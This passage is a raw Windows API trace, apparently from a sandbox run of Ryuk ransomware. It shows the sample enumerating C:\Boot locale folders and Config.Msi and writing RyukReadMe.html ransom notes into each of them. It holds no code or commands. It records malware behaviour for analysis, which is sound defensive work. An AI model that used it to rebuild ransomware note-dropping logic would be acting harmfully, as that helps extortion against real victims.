	[0245.042] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\RyukReadMe.html" (normalized: "c:\\boot\\ru-ru\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.043] GetLastError () returned 0x0
	[0245.043] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.045] CloseHandle (hObject=0x3a8) returned 1
	[0245.045] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0245.045] SetLastError (dwErrCode=0x0) 
	[0245.045] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.045] GetLastError () returned 0xb7
	[0245.045] CloseHandle (hObject=0x3a8) returned 1
	[0245.046] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.046] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.046] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.046] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.046] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.046] SetLastError (dwErrCode=0x0) 
	[0245.046] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\RyukReadMe.html" (normalized: "c:\\boot\\sv-se\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.047] GetLastError () returned 0x0
	[0245.047] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.049] CloseHandle (hObject=0x3a8) returned 1
	[0245.049] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0245.049] SetLastError (dwErrCode=0x0) 
	[0245.049] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.049] GetLastError () returned 0xb7
	[0245.049] CloseHandle (hObject=0x3a8) returned 1
	[0245.049] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.050] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.050] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.050] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.050] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.050] SetLastError (dwErrCode=0x0) 
	[0245.050] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\RyukReadMe.html" (normalized: "c:\\boot\\tr-tr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.051] GetLastError () returned 0x0
	[0245.051] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.053] CloseHandle (hObject=0x3a8) returned 1
	[0245.053] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0245.053] SetLastError (dwErrCode=0x0) 
	[0245.053] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.053] GetLastError () returned 0xb7
	[0245.053] CloseHandle (hObject=0x3a8) returned 1
	[0245.053] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.054] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.054] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.054] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.054] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.054] SetLastError (dwErrCode=0x0) 
	[0245.054] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\RyukReadMe.html" (normalized: "c:\\boot\\zh-cn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.054] GetLastError () returned 0x0
	[0245.054] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.056] CloseHandle (hObject=0x3a8) returned 1
	[0245.057] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0245.057] SetLastError (dwErrCode=0x0) 
	[0245.057] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.057] GetLastError () returned 0xb7
	[0245.057] CloseHandle (hObject=0x3a8) returned 1
	[0245.057] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.058] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.058] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.058] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.058] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.058] SetLastError (dwErrCode=0x0) 
	[0245.058] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\RyukReadMe.html" (normalized: "c:\\boot\\zh-hk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.058] GetLastError () returned 0x0
	[0245.058] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.060] CloseHandle (hObject=0x3a8) returned 1
	[0245.060] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0245.060] SetLastError (dwErrCode=0x0) 
	[0245.060] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.061] GetLastError () returned 0xb7
	[0245.061] CloseHandle (hObject=0x3a8) returned 1
	[0245.061] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0245.061] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.061] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0245.061] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0245.061] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0245.061] SetLastError (dwErrCode=0x0) 
	[0245.062] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\RyukReadMe.html" (normalized: "c:\\boot\\zh-tw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8
	[0245.062] GetLastError () returned 0x0
	[0245.062] WriteFile (in: hFile=0x3a8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0245.064] CloseHandle (hObject=0x3a8) returned 1
	[0245.064] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0245.064] FindClose (in: hFindFile=0x3ef0d0 | out: hFindFile=0x3ef0d0) returned 1
	[0245.064] SetLastError (dwErrCode=0x0) 
	[0245.064] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290
	[0245.064] GetLastError () returned 0xb7
	[0245.065] CloseHandle (hObject=0x290) returned 1
	[0245.065] FindNextFileW (in: hFindFile=0x3ef490, lpFindFileData=0x193920 | out: lpFindFileData=0x193920*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x68, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0245.065] FindNextFileW (in: hFindFile=0x3ef490, lpFindFileData=0x193920 | out: lpFindFileData=0x193920*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0245.065] FindNextFileW (in: hFindFile=0x3ef490, lpFindFileData=0x193920 | out: lpFindFileData=0x193920*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0245.065] SetLastError (dwErrCode=0x0) 
	[0245.065] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.065] GetLastError () returned 0x20
	[0245.065] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x193868, lpOverlapped=0x0) returned 0
	[0245.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.065] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef0d0
	[0245.067] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.067] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0245.067] FindClose (in: hFindFile=0x3ef0d0 | out: hFindFile=0x3ef0d0) returned 1
	[0245.067] SetLastError (dwErrCode=0x0) 
	[0245.068] CreateFileW (lpFileName="C:\\Config.Msi\\RyukReadMe.html" (normalized: "c:\\config.msi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290
